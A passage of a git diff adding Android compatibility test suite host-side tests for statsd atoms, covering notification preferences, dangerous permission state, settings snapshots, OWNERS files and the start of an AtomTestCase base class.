+        assertThat(data.getCarrierId()).isNotEqualTo(-1); // TelephonyManager#UNKNOWN_CARRIER_ID
+    }
+
+    private boolean getNetworkStatsCombinedSubTypeEnabled() throws Exception {
+        final String output = getDevice().executeShellCommand(
+                "settings get global netstats_combine_subtype_enabled").trim();
+        return output.equals("1");
+    }
+
+    private void setNetworkStatsCombinedSubTypeEnabled(boolean enable) throws Exception {
+        getDevice().executeShellCommand("settings put global netstats_combine_subtype_enabled "
+                + (enable ? "1" : "0"));
+    }
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/net/OWNERS b/hostsidetests/statsdatom/src/android/cts/statsdatom/net/OWNERS
new file mode 100644
index 0000000..f78f90b
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/net/OWNERS
@@ -0,0 +1,12 @@
+# These atom tests are co-owned by statsd and network team
+jchalard@google.com
+jeffreyhuang@google.com
+jtnguyen@google.com
+junyulai@google.com
+lorenzo@google.com
+muhammadq@google.com
+ruchirr@google.com
+singhtejinder@google.com
+sudheersai@google.com
+tsaichristine@google.com
+yro@google.com
\ No newline at end of file
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/notification/NotificationStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/notification/NotificationStatsTests.java
new file mode 100644
index 0000000..d08eae9
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/notification/NotificationStatsTests.java
@@ -0,0 +1,170 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.notification;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.os.AtomsProto;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class NotificationStatsTests extends DeviceTestCase implements IBuildReceiver {
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    public void testNotificationPackagePreferenceExtraction() throws Exception {
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.PACKAGE_NOTIFICATION_PREFERENCES_FIELD_NUMBER);
+
+        DeviceUtils.runActivity(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                "StatsdCtsForegroundActivity", "action", "action.show_notification");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        List<AtomsProto.PackageNotificationPreferences> allPreferences = new ArrayList<>();
+        for (AtomsProto.Atom atom : ReportUtils.getGaugeMetricAtoms(getDevice())) {
+            if (atom.hasPackageNotificationPreferences()) {
+                allPreferences.add(atom.getPackageNotificationPreferences());
+            }
+        }
+        assertThat(allPreferences.size()).isGreaterThan(0);
+
+        boolean foundTestPackagePreferences = false;
+        int uid = DeviceUtils.getStatsdTestAppUid(getDevice());
+        for (AtomsProto.PackageNotificationPreferences pref : allPreferences) {
+            assertThat(pref.getUid()).isGreaterThan(0);
+            assertTrue(pref.hasImportance());
+            assertTrue(pref.hasVisibility());
+            assertTrue(pref.hasUserLockedFields());
+            if (pref.getUid() == uid) {
+                assertThat(pref.getImportance()).isEqualTo(-1000);  //UNSPECIFIED_IMPORTANCE
+                assertThat(pref.getVisibility()).isEqualTo(-1000);  //UNSPECIFIED_VISIBILITY
+                foundTestPackagePreferences = true;
+            }
+        }
+        assertTrue(foundTestPackagePreferences);
+    }
+
+    public void testNotificationChannelPreferencesExtraction() throws Exception {
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.PACKAGE_NOTIFICATION_CHANNEL_PREFERENCES_FIELD_NUMBER);
+
+        DeviceUtils.runActivity(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                "StatsdCtsForegroundActivity", "action", "action.show_notification");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        List<AtomsProto.PackageNotificationChannelPreferences> allChannelPreferences =
+                new ArrayList<>();
+        for (AtomsProto.Atom atom : ReportUtils.getGaugeMetricAtoms(getDevice())) {
+            if (atom.hasPackageNotificationChannelPreferences()) {
+                allChannelPreferences.add(atom.getPackageNotificationChannelPreferences());
+            }
+        }
+        assertThat(allChannelPreferences.size()).isGreaterThan(0);
+
+        boolean foundTestPackagePreferences = false;
+        int uid = DeviceUtils.getStatsdTestAppUid(getDevice());
+        for (AtomsProto.PackageNotificationChannelPreferences pref : allChannelPreferences) {
+            assertThat(pref.getUid()).isGreaterThan(0);
+            assertTrue(pref.hasChannelId());
+            assertTrue(pref.hasChannelName());
+            assertTrue(pref.hasDescription());
+            assertTrue(pref.hasImportance());
+            assertTrue(pref.hasUserLockedFields());
+            assertTrue(pref.hasIsDeleted());
+            if (uid == pref.getUid() && pref.getChannelId().equals("StatsdCtsChannel")) {
+                assertThat(pref.getChannelName()).isEqualTo("Statsd Cts");
+                assertThat(pref.getDescription()).isEqualTo("Statsd Cts Channel");
+                assertThat(pref.getImportance()).isEqualTo(3);  // IMPORTANCE_DEFAULT
+                foundTestPackagePreferences = true;
+            }
+        }
+        assertTrue(foundTestPackagePreferences);
+    }
+
+    public void testNotificationChannelGroupPreferencesExtraction() throws Exception {
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.PACKAGE_NOTIFICATION_CHANNEL_GROUP_PREFERENCES_FIELD_NUMBER);
+
+        DeviceUtils.runActivity(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                "StatsdCtsForegroundActivity", "action", "action.create_channel_group");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        List<AtomsProto.PackageNotificationChannelGroupPreferences> allGroupPreferences =
+                new ArrayList<>();
+        for (AtomsProto.Atom atom : ReportUtils.getGaugeMetricAtoms(getDevice())) {
+            if (atom.hasPackageNotificationChannelGroupPreferences()) {
+                allGroupPreferences.add(atom.getPackageNotificationChannelGroupPreferences());
+            }
+        }
+        assertThat(allGroupPreferences.size()).isGreaterThan(0);
+
+        boolean foundTestPackagePreferences = false;
+        int uid = DeviceUtils.getStatsdTestAppUid(getDevice());
+        for (AtomsProto.PackageNotificationChannelGroupPreferences pref : allGroupPreferences) {
+            assertThat(pref.getUid()).isGreaterThan(0);
+            assertTrue(pref.hasGroupId());
+            assertTrue(pref.hasGroupName());
+            assertTrue(pref.hasDescription());
+            assertTrue(pref.hasIsBlocked());
+            assertTrue(pref.hasUserLockedFields());
+            if (uid == pref.getUid() && pref.getGroupId().equals("StatsdCtsGroup")) {
+                assertThat(pref.getGroupName()).isEqualTo("Statsd Cts Group");
+                assertThat(pref.getDescription()).isEqualTo("StatsdCtsGroup Description");
+                assertThat(pref.getIsBlocked()).isFalse();
+                foundTestPackagePreferences = true;
+            }
+        }
+        assertTrue(foundTestPackagePreferences);
+    }
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/notification/OWNERS b/hostsidetests/statsdatom/src/android/cts/statsdatom/notification/OWNERS
new file mode 100644
index 0000000..004287e
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/notification/OWNERS
@@ -0,0 +1,2 @@
+# These atom tests are owned by the notifications team.
+yotamaron@google.com
\ No newline at end of file
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/permissionstate/DangerousPermissionStateTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/permissionstate/DangerousPermissionStateTests.java
new file mode 100644
index 0000000..8b1c35d
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/permissionstate/DangerousPermissionStateTests.java
@@ -0,0 +1,189 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.permissionstate;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.os.AtomsProto;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class DangerousPermissionStateTests extends DeviceTestCase implements IBuildReceiver {
+    private static final int FLAG_PERMISSION_USER_SENSITIVE_WHEN_GRANTED = 1 << 8;
+
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    public void testDangerousPermissionState() throws Exception {
+
+        final int FLAG_PERMISSION_USER_SENSITIVE_WHEN_DENIED = 1 << 9;
+        final int PROTECTION_FLAG_DANGEROUS = 1;
+        final int PROTECTION_FLAG_INSTANT = 0x1000;
+
+        // Set up what to collect
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.DANGEROUS_PERMISSION_STATE_FIELD_NUMBER);
+
+        boolean verifiedKnowPermissionState = false;
+
+        // Pull a report
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        int testAppId = getAppId(DeviceUtils.getStatsdTestAppUid(getDevice()));
+
+        for (AtomsProto.Atom atom : ReportUtils.getGaugeMetricAtoms(getDevice())) {
+            AtomsProto.DangerousPermissionState permissionState = atom.getDangerousPermissionState();
+
+            assertThat(permissionState.getPermissionName()).isNotNull();
+            assertThat(permissionState.getUid()).isAtLeast(0);
+            assertThat(permissionState.getPackageName()).isNotNull();
+
+            if (getAppId(permissionState.getUid()) == testAppId) {
+
+                if (permissionState.getPermissionName().contains(
+                        "ACCESS_FINE_LOCATION")) {
+                    assertThat(permissionState.getIsGranted()).isTrue();
+                    assertThat(permissionState.getPermissionFlags() & ~(
+                            FLAG_PERMISSION_USER_SENSITIVE_WHEN_DENIED
+                                    | FLAG_PERMISSION_USER_SENSITIVE_WHEN_GRANTED))
+                            .isEqualTo(0);
+                    assertThat(permissionState.getProtectionFlags()).isEqualTo(
+                            PROTECTION_FLAG_DANGEROUS | PROTECTION_FLAG_INSTANT
+                    );
+
+                    verifiedKnowPermissionState = true;
+                }
+            }
+        }
+
+        assertThat(verifiedKnowPermissionState).isTrue();
+    }
+
+    public void testDangerousPermissionStateSampled() throws Exception {
+        // get full atom for reference
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.DANGEROUS_PERMISSION_STATE_FIELD_NUMBER);
+
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        List<AtomsProto.DangerousPermissionState> fullDangerousPermissionState = new ArrayList<>();
+        for (AtomsProto.Atom atom : ReportUtils.getGaugeMetricAtoms(getDevice())) {
+            fullDangerousPermissionState.add(atom.getDangerousPermissionState());
+        }
+
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice()); // Clears data.
+        List<AtomsProto.Atom> gaugeMetricDataList = null;
+
+        // retries in case sampling returns full list or empty list - which should be extremely rare
+        for (int attempt = 0; attempt < 10; attempt++) {
+            // Set up what to collect
+            ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                    AtomsProto.Atom.DANGEROUS_PERMISSION_STATE_SAMPLED_FIELD_NUMBER);
+
+            // Pull a report
+            AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+            Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+            gaugeMetricDataList = ReportUtils.getGaugeMetricAtoms(getDevice());
+            if (gaugeMetricDataList.size() > 0
+                    && gaugeMetricDataList.size() < fullDangerousPermissionState.size()) {
+                break;
+            }
+            ConfigUtils.removeConfig(getDevice());
+            ReportUtils.clearReports(getDevice()); // Clears data.
+        }
+        assertThat(gaugeMetricDataList.size()).isGreaterThan(0);
+        assertThat(gaugeMetricDataList.size()).isLessThan(fullDangerousPermissionState.size());
+
+        long lastUid = -1;
+        int fullIndex = 0;
+
+        for (AtomsProto.Atom atom : ReportUtils.getGaugeMetricAtoms(getDevice())) {
+            AtomsProto.DangerousPermissionStateSampled permissionState =
+                    atom.getDangerousPermissionStateSampled();
+
+            AtomsProto.DangerousPermissionState referenceState
+                    = fullDangerousPermissionState.get(fullIndex);
+
+            if (referenceState.getUid() != permissionState.getUid()) {
+                // atoms are sampled on uid basis if uid is present, all related permissions must
+                // be logged.
+                assertThat(permissionState.getUid()).isNotEqualTo(lastUid);
+                continue;
+            }
+
+            lastUid = permissionState.getUid();
+
+            assertThat(permissionState.getPermissionFlags()).isEqualTo(
+                    referenceState.getPermissionFlags());
+            assertThat(permissionState.getIsGranted()).isEqualTo(referenceState.getIsGranted());
+            assertThat(permissionState.getPermissionName()).isEqualTo(
+                    referenceState.getPermissionName());
+            assertThat(permissionState.getProtectionFlags()).isEqualTo(
+                    referenceState.getProtectionFlags());
+
+            fullIndex++;
+        }
+    }
+
+    /**
+     * The app id from a uid.
+     *
+     * @param uid The uid of the app
+     *
+     * @return The app id of the app
+     *
+     * @see android.os.UserHandle#getAppId
+     */
+    private static int getAppId(int uid) {
+        return uid % 100000;
+    }
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/permissionstate/OWNERS b/hostsidetests/statsdatom/src/android/cts/statsdatom/permissionstate/OWNERS
new file mode 100644
index 0000000..d87cfe4
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/permissionstate/OWNERS
@@ -0,0 +1,4 @@
+# Owners of the DangerousPermissionState atom
+zholnin@google.com
+cmartella@google.com
+shiwangishah@google.com
\ No newline at end of file
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/settingsstats/OWNERS b/hostsidetests/statsdatom/src/android/cts/statsdatom/settingsstats/OWNERS
new file mode 100644
index 0000000..a6f27e1
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/settingsstats/OWNERS
@@ -0,0 +1,4 @@
+# Owners of the settingsstats atom
+edgarwang@google.com
+rafftsai@google.com
+tmfang@google.com
\ No newline at end of file
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/settingsstats/SettingsStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/settingsstats/SettingsStatsTests.java
new file mode 100644
index 0000000..6174400
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/settingsstats/SettingsStatsTests.java
@@ -0,0 +1,131 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.settingsstats;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.os.AtomsProto;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.List;
+
+public class SettingsStatsTests extends DeviceTestCase implements IBuildReceiver {
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    public void testSettingsStatsReported() throws Exception {
+        // Base64 encoded proto com.android.service.nano.StringListParamProto,
+        // which contains five strings 'low_power_trigger_level', 'preferred_network_mode1',
+        // 'preferred_network_mode1_int', 'wfc_ims_mode','zen_mode'
+        final String encoded =
+                "Chdsb3dfcG93ZXJfdHJpZ2dlcl9sZXZlbAoQd2ZjX2ltc19tb2RlID0gMgoXcHJlZmVycmVkX25ldHdvcmtfbW9kZTEKG3ByZWZlcnJlZF9uZXR3b3JrX21vZGUxX2ludAoIemVuX21vZGU";
+        final String network_mode1 = "preferred_network_mode1";
+
+        int originalNetworkMode;
+        try {
+            originalNetworkMode = Integer.parseInt(
+                    getDevice().executeShellCommand("settings get global " + network_mode1));
+        } catch (NumberFormatException e) {
+            // The default value, zen mode is not enabled
+            originalNetworkMode = 0;
+        }
+        // Clear settings_stats device config.
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        getDevice().executeShellCommand(
+                "device_config reset untrusted_clear settings_stats");
+        // Set allow list through device config.
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        getDevice().executeShellCommand(
+                "device_config put settings_stats GlobalFeature__integer_whitelist " + encoded);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        // Set network_mode1 value
+        getDevice().executeShellCommand("settings put global " + network_mode1 + " 15");
+
+        // Get SettingSnapshot as a simple gauge metric.
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.SETTING_SNAPSHOT_FIELD_NUMBER);
+
+        // Start test app and trigger a pull while it is running.
+        try (AutoCloseable a = DeviceUtils.withActivity(getDevice(),
+                DeviceUtils.STATSD_ATOM_TEST_PKG, "StatsdCtsForegroundActivity", "action",
+                "action.show_notification")) {
+            Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+            // Trigger a pull and wait for new pull before killing the process.
+            AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+            Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+        }
+
+        // Test the size of atoms. It should contain 5 atoms.
+        List<AtomsProto.Atom> atoms = ReportUtils.getGaugeMetricAtoms(getDevice());
+        assertThat(atoms.size()).isAtLeast(5);
+        AtomsProto.SettingSnapshot snapshot = null;
+        for (AtomsProto.Atom atom : atoms) {
+            AtomsProto.SettingSnapshot settingSnapshot = atom.getSettingSnapshot();
+            if (network_mode1.equals(settingSnapshot.getName())) {
+                snapshot = settingSnapshot;
+                break;
+            }
+        }
+
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        // Test the data of atom.
+        assertNotNull(snapshot);
+        // Get setting value and test value type.
+        final int newNetworkMode = Integer.parseInt(
+                getDevice().executeShellCommand("settings get global " + network_mode1).trim());
+        assertThat(snapshot.getType()).isEqualTo(
+                AtomsProto.SettingSnapshot.SettingsValueType.ASSIGNED_INT_TYPE);
+        assertThat(snapshot.getBoolValue()).isEqualTo(false);
+        assertThat(snapshot.getIntValue()).isEqualTo(newNetworkMode);
+        assertThat(snapshot.getFloatValue()).isEqualTo(0f);
+        assertThat(snapshot.getStrValue()).isEqualTo("");
+        assertThat(snapshot.getUserId()).isEqualTo(0);
+
+        // Restore the setting value.
+        getDevice().executeShellCommand(
+                "settings put global " + network_mode1 + " " + originalNetworkMode);
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/AtomTestCase.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/AtomTestCase.java
new file mode 100644
index 0000000..8b628cf
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/AtomTestCase.java
@@ -0,0 +1,943 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.cts.statsdatom.statsd;
+
+import static android.cts.statsdatom.statsd.DeviceAtomTestCase.DEVICE_SIDE_TEST_APK;
+import static android.cts.statsdatom.statsd.DeviceAtomTestCase.DEVICE_SIDE_TEST_PACKAGE;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.os.BatteryStatsProto;
+import android.os.StatsDataDumpProto;
+import android.service.battery.BatteryServiceDumpProto;
+import android.service.batterystats.BatteryStatsServiceDumpProto;
+import android.service.procstats.ProcessStatsServiceDumpProto;
+
+import com.android.annotations.Nullable;
+import com.android.internal.os.StatsdConfigProto.AtomMatcher;
+import com.android.internal.os.StatsdConfigProto.EventMetric;
+import com.android.internal.os.StatsdConfigProto.FieldFilter;
+import com.android.internal.os.StatsdConfigProto.FieldMatcher;
+import com.android.internal.os.StatsdConfigProto.FieldValueMatcher;
+import com.android.internal.os.StatsdConfigProto.GaugeMetric;
+import com.android.internal.os.StatsdConfigProto.Predicate;
+import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
+import com.android.internal.os.StatsdConfigProto.SimplePredicate;
+import com.android.internal.os.StatsdConfigProto.StatsdConfig;
+import com.android.internal.os.StatsdConfigProto.TimeUnit;
+import com.android.os.AtomsProto.AppBreadcrumbReported;
+import com.android.os.AtomsProto.Atom;
+import com.android.os.AtomsProto.ProcessStatsPackageProto;
+import com.android.os.AtomsProto.ProcessStatsProto;
+import com.android.os.AtomsProto.ProcessStatsStateProto;
+import com.android.os.StatsLog.ConfigMetricsReport;
+import com.android.os.StatsLog.ConfigMetricsReportList;
+import com.android.os.StatsLog.DurationMetricData;
+import com.android.os.StatsLog.EventMetricData;
+import com.android.os.StatsLog.GaugeBucketInfo;
+import com.android.os.StatsLog.GaugeMetricData;
+import com.android.os.StatsLog.CountMetricData;
+import com.android.os.StatsLog.StatsLogReport;
+import com.android.os.StatsLog.ValueMetricData;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil;
+import com.android.tradefed.util.CommandResult;
+import com.android.tradefed.util.CommandStatus;
+
+import com.google.common.collect.Range;
+import com.google.common.io.Files;
+import com.google.protobuf.ByteString;
+
+import perfetto.protos.PerfettoConfig.DataSourceConfig;
+import perfetto.protos.PerfettoConfig.FtraceConfig;
+import perfetto.protos.PerfettoConfig.TraceConfig;
+
+import java.io.File;
+import java.text.SimpleDateFormat;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Comparator;
+import java.util.Date;
+import java.util.HashMap;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Map;
+import java.util.Queue;
+import java.util.Random;
+import java.util.Set;
+import java.util.function.Function;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+import java.util.stream.Collectors;
+
+/**
+ * Base class for testing Statsd atoms.
+ * Validates reporting of statsd logging based on different events
+ */
+public class AtomTestCase extends BaseTestCase {
+
+    /**
+     * Run tests that are optional; they are not valid CTS tests per se, since not all devices can
+     * be expected to pass them, but can be run, if desired, to ensure they work when appropriate.
+     */
+    public static final boolean OPTIONAL_TESTS_ENABLED = false;
+
+    public static final String UPDATE_CONFIG_CMD = "cmd stats config update";
+    public static final String DUMP_REPORT_CMD = "cmd stats dump-report";
+    public static final String DUMP_BATTERY_CMD = "dumpsys battery";
+    public static final String DUMP_BATTERYSTATS_CMD = "dumpsys batterystats";
+    public static final String DUMPSYS_STATS_CMD = "dumpsys stats";
+    public static final String DUMP_PROCSTATS_CMD = "dumpsys procstats";
+    public static final String REMOVE_CONFIG_CMD = "cmd stats config remove";
+    /** ID of the config, which evaluates to -1572883457. */
+    public static final long CONFIG_ID = "cts_config".hashCode();
+
+    public static final String FEATURE_AUDIO_OUTPUT = "android.hardware.audio.output";
+    public static final String FEATURE_AUTOMOTIVE = "android.hardware.type.automotive";
+    public static final String FEATURE_BLUETOOTH = "android.hardware.bluetooth";
+    public static final String FEATURE_BLUETOOTH_LE = "android.hardware.bluetooth_le";
+    public static final String FEATURE_CAMERA = "android.hardware.camera";
+    public static final String FEATURE_CAMERA_FLASH = "android.hardware.camera.flash";
+    public static final String FEATURE_CAMERA_FRONT = "android.hardware.camera.front";
+    public static final String FEATURE_LOCATION_GPS = "android.hardware.location.gps";
+    public static final String FEATURE_PC = "android.hardware.type.pc";
+    public static final String FEATURE_PICTURE_IN_PICTURE = "android.software.picture_in_picture";
+    public static final String FEATURE_TELEPHONY = "android.hardware.telephony";
+    public static final String FEATURE_WATCH = "android.hardware.type.watch";
+    public static final String FEATURE_WIFI = "android.hardware.wifi";
+
+    // Telephony phone types
+    public static final int PHONE_TYPE_GSM = 1;
+    public static final int PHONE_TYPE_CDMA = 2;
+    public static final int PHONE_TYPE_CDMA_LTE = 6;
+
+    protected static final int WAIT_TIME_SHORT = 500;
+    protected static final int WAIT_TIME_LONG = 2_000;
+
+    protected static final long SCREEN_STATE_CHANGE_TIMEOUT = 4000;
+    protected static final long SCREEN_STATE_POLLING_INTERVAL = 500;
+
+    protected static final long NS_PER_SEC = (long) 1E+9;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        // Uninstall to clear the history in case it's still on the device.
+        removeConfig(CONFIG_ID);
+        getReportList(); // Clears data.
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        removeConfig(CONFIG_ID);
+        getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
+        super.tearDown();
+    }
+
+    /**
+     * Determines whether logcat indicates that incidentd fired since the given device date.
+     */
+    protected boolean didIncidentdFireSince(String date) throws Exception {
+        final String INCIDENTD_TAG = "incidentd";
+        final String INCIDENTD_STARTED_STRING = "reportIncident";
+        // TODO: Do something more robust than this in case of delayed logging.
+        Thread.sleep(1000);
+        String log = getLogcatSince(date, String.format(
+                "-s %s -e %s", INCIDENTD_TAG, INCIDENTD_STARTED_STRING));
+        return log.contains(INCIDENTD_STARTED_STRING);
+    }
+
+    protected boolean checkDeviceFor(String methodName) throws Exception {
+        try {
+            installPackage(DEVICE_SIDE_TEST_APK, true);
+            runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".Checkers", methodName);
+            // Test passes, meaning that the answer is true.
+            LogUtil.CLog.d(methodName + "() indicates true.");
